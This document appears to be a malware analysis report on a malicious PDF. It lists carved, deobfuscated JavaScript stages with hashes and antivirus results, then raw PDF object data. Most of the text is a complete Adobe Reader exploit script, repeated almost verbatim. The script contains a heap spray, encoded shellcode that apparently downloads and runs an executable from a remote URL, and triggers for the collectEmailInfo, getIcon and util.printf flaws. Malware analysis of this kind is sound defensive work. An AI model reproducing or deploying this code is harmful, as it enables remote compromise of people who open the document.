0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"%45000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
|
|||
generic_stage_recovery_002.js |
deobfuscated-js | generic stage recovery split-literal-normalize from decompressed stream at 0x36AE at offset 0x36AE | 5987 bytes |
SHA-256: 0917289f97ce26084bc6f91b96f08faeaa7b4967bd1f396b6f676619a0298807 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"%09\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"%45000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
|
|||
generic_stage_recovery_003.js |
deobfuscated-js | generic stage recovery percent-decode from decompressed stream at 0x36AE at offset 0x36AE | 5992 bytes |
SHA-256: bc67a2bac5c725c149ac674739ffd64eaf5e0af74327e335467d071d68371ddf |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\" \");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"E000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
|
|||
generic_stage_recovery_004.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from raw PDF metadata at offset 0x0 | 21678 bytes |
SHA-256: 703cc49f35bd3f895c354f05573c5062732ede14f3f1c1eeac5ef6247c2b508a |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2739>>
stream
x�͛M�۸ ���+�j/�!4E�3�8�l�U�d�Nm%[{I�� $89 ��� 53Ќ$J /��%��/� ���n�a0[ІB���-�� ���� ����gz��� A ������n����k4��A��WB�̓���Q0�� � �(��݇ }��ݷcZ�o��#��
_<��3��"������>g�� .��/��Wj�����G���5_��K�9��'a��vה�.�mx� 3{� ��67� �7� �����/����_ g���q�� "� Ŵ�/�Ɋ*��b���K�D7?�1�pj _y�� g � �3�}N%�3���MM�N��t�0%��g�2-�5U�ՊjMZ�6x=���ئ�` ����;�Y�1�<'�dFwڐfykH2���]� �_��=^�kC�Z�tW5ԖJװ� ���>t UB�%坦� N1� �_��Z4�14�xޖ^͛ �G��ﰆ7�r^��R^��P]�T�{ ��R� ��\�XWt���b5mJ���y��`�8 YA��lp��s���^ËR�
>V6jt�1�5���� �D#� ��F �{�0?� j��� �[3]1j�R9�* z^
����� � � ڐi B.eZ���KVqj Da ��,���L҆��!�_J� ���Ji� � �Hv�X %��䬡�����n2}^>���'v�1 ���&� ���-�pIR0��\a"Z���HL�Wχ�����
�0��k��{���̧v����(餴!"��Y� �Ɉ ��ۡO%[�Ђ�P��AT�Z�ʮ�{L_W� ��$�z�(��
�h�|�x^.,cB�0�aM� r$괄r&�3��v q�eVw �6v�L��� �R��5� $��cn��6�*�2�)�6H�� ��+�� �Ӳ���]�^Ug�p��I�6*��:!9 \z�5� "`����V[�� y � X���-U]��� �b$ ��� ��2X�+~
s��ᾧVRf =EXR����-�� �z�_ ��o8��G!3�����'L���ej� Ljƪ �% �F,{��<O *��i�ܱ�$��:�Wy�Ϝ��2 � � < >@�5��
�_.-^�[*z�@:뽎n��D&�i��-�:#�JI=�Se] A�p$S��� K z��O�b'� )�I;
e+dH ^w4E` � ��;) ���:S���g��%�]"2 L̙�넮 � i�����S9�42f���8u>�v��ͼ}Bm �R �،����-�| : �2x�eHhn9����� 6 � a= P��4�N� ٞ~� )�*n� ��j \!�)ʖ2n�XN�d�^[�?�x� ������D�Bp�T�4 5 +�H�} c�t�z����R���m�(�>� �Uj ꩝ �k���"� h�l-xI���Q6��w �%�J֙W��O�� ��v
cc���!Ϝ�_��K��� �s+����Ӻ���@�� ��k%o Q)�Nd �V�` l{C{���D͐���w�ս��z��>M� �;V�^L� �= ǫ}�)#X�6���&�5 �E � n h�K,�V!E�>T�f 2 �j��!�e��[ˆ �@�����Sa�[5be+�8 �o/7��zl :ʠnVr ��k� �n;m�,Tp�p�x�� �r�x�]�&�uÃ���� �� = 'a6'i�%ʹz�d� �+2(v��8�m#�b<]:� � ��������\�-%=��5d e��|Z7w��
��ȹ��� {��,:Q���� �s� h ���x:CV� �ӵ��b|'��[�#i���G��#��n��{���i�I��� �*Iz�� �'�pZ*Q @� t�U��*u���i\����=�7� kK�b��E{]" |�K`�xY˾$��K��/�_���G��s��� �)A�å >m� ����AQ��8'�X:,C�`7���K%��8ji۰��l��8b9d#��5��
���)���I� <�� �J`� o�_H5`���L��#
��a~�<T 1�0 ýO� N�w
��u�a���yì)�0�{ ݆� ��n8�|�6w���f�؆s� t�
�
�[ H����A � v_qd �� d� �u �7w �i��I�7�t��{ �� �w��`�m�%��ky4�h��c.�)�j� �{;�#m �^�; ���U��ߪ G���E�
�� �T�a!���� G ���Y��B���Xs�� e
�� � �l��]ښ��M�x��� ?��c���P-��<��Sf� �� ('p�Ӿ���ܧ]!n;�6s�l} �t ��m��(�Ѻh��q|� ��=��vX�ժ> �^ ��R����������&ߓ�y ��!�̩� \�ik֧usG�� W#��K����A4^gg�qy�|Y� ^8C"��9 =��t��� _�!I��~�놤O㦎AC�s��4%
�5� y����
�� ~L3�Eуh ���m�(v ��z�����B�� ��)��<� �� 3�:��������n�NV��xw ]F�g�Ug����b��-��_v�����dk�� �xo/�� �4}�ļ�����G�}ڶp�> `�p A�d��m �C��p� �QrQ?P�0�d��(� ̜f� }�6wz�W ֘��u0#d�M >u� ��?��+�Ӷ�^?�č7������%۰>m��oA ��0��|}��T��|y�ԧm�cܵ�o��LO�~ ��V��� ���� ��E�q�� ����*� ǫ��
��q�L�+��תנ:v ��S�X��H�!1G�tT �h7v�kWE] ��[f|� � m: c�5\;A4�֭ � l���ҡ�X����e���k�/}�t�4�� ��qc0t,����w��� ��7 �� i���
*'�{V] [���� $
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2639>>
stream
x��[�r� }�Wtվ$ ш�=o�\�f�6��8��l� H�$$�� R } (۠d�����z��X��nt�9} �p0�ц�� �K��W�H��=������� !� �!ݧ������s��s ��h�� i2 L 4 �o �!� }� �� �� ������^ h�� uF��`: �c��xrB� ��K���� �Z��W���� ����� � ��,�_S�2������t.9 �'��� �WO�^ �O�?������'��io"�7 �l: *h2 �Ex�]� ��C����.�S�'���)2? ��
e,��"&W�����9- �#�(�% � �d5��IS2J&��
�4e1')�Ȑ� ����~M�Nj�b���߂�;b[�
�lcTIF��GNL�1�R)ʌ�[�v�3�� ��I�Q� �qM �+Z��6Ģ�&�J����Ǖ�hchän쏌�0ȫ{� x
K����J�^Wt �O+z���2lK�� �&kLM+����\sʶ �l
pY�Tᔪ�� � kSI��53xl� � V�čF e K� ���k#
�<6� "X5Ƨ ��%� �6 7�� e��w �J�
U��q�%�u�Xwk )��Z� �(Y��~����h��� � rI
CYn�xe �s�T�ӽ`�R
�(�FְD��d [P i�l��N �'C�.��K�-C
�
�� ��� p��05�x��K� a ò��*�r
k
V� )V� ��!\ AJ�2��~��jG N� 6+ i�k ߲��L#� ����$Kv���TeW� ��b ���t1{)�8g)��
Шj�Į�� ���0bٔ b�� �xX�79Śm$��I�L��ks$ �"�k��* ��6>�4�;��"JC�R��)� ��H�� ��Ռ��}�_
��B�J7 �9*9V��),� �� &�v�S �ȚO� Ւ �Q�ͅ�O�_� ��s�W+� ߟ e� �B�ϲ��+��zDL��iͤ�]Y [�F�8^V(��%������e� \� h4b � � u%� ���h��i��0 �g �S˳ ���|z7v0~�a��@�>��-X(��5`Fg�k0F �{�s�t�.��1�F"���К�F� �"V� d*ԿW�B��-{S�4`�? �'h :�[x�4x*e��A^��Χo���=��x���+��Fd6^����
E�lD��N��� ��C�>"��b�N- ��Z� �k z k4�$�F� � +���Rjʹ( �"�=�6Y8���k o( :���y �O�4mkZLm�\�V)�q� �d� �: ��Z� � ke�T2
" ҕ�qZ� ���sD���Q%$�� 4mS�%�`�za�)kv� ��p��ƆՀ$���g ;�:�Ox)��� �^&W�"v2��[�^�؎�}Mj>� ;�n���R� �P���І�;����3������Kˀ cg��3=<in:��� :�|Kg@��
F��I�
bb�*w>] :G�N r��m� � �lw�fP�+�/͟ ]��(-"��
;��T%���J �Ŵ�����bL
��&�@�m�]�k��� ����vע� '¬��C��}�6w(�i J�� ��%�ׅ�����հ0
��5��) �5��ԙ2y;��O0�Oצ ��� ^ w��� �� ���qE-�� w��ս��� $7,^Q �ci*��I7ޙ��O� >A��2��/q�� �{�� ^�� ���Xy���Q _s}r�� @ǝ[�� [^>3�n���ȡ�^�SS��ʪ A5�Zª����� � ����Q�8|�(�*h�آ�W� ��{�� �
2V�� &WQԦN����� � ������ 4:,� ��kY ޠ� ��#�:�{<����hᨡ �Ո ;��yHa �'�����T
��5W <��ٴdk�ӵ�c Q� j "����O |dB�$�an�t��B�N�?4HG�d�Wl��n�x��\}�np�, C =�:�8 RS��J�$�y+:@v�f��ް������w�G G"o�X_/<O̍}�6>f��E�W�F �qQΞ��sz ����%��ӵ��ș���q5� #�(�"4 �� o� ͘f1 ͍�J��B��k���� [s{$�� �Rzݐ �A�#�wq!�f)��
;���\x�-�� � 珅��� �u *�{ ��Փ��ӹ�#��G��o�+~��X����'�|�7s�p|�$ک �+�h�w���'�>]�:^�f �<�}%�LS�Ʋn����P>�� ̯NI@�=�- �s�6�F�Pv�i���� -&�3. � �F� y �N�O:�������҉�U{ �4�g��� t.�3�Y Ti��2� ��|8r�� ��A�풖k
�O �< ����� ����v* �ڳ�_��Ν!j�ߧs�� g��y�����ޠO׆��:�q-B�Xp�Қ�-@ǚ �4/~/ �`�9�� Ix��`־�� *�T�ӿ�c�kv ��
��Eo^m�9�8������z����7� &��^M�tD�7�
����� �({g����=g�-���n�i�o8 lo������Hә����Z� � 6m �VxN��!��g���˭4C � ŧ����B' �X#�w�' �k )�4 W�u��"|P$A����#7}�6 ;� (j;[��ѷ�'�<��茐.O��F�q��=:7w\��� ��#H���w�7 #L]k�� �����P����O���t8XL�;� \1�BH h�����q�� ���
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
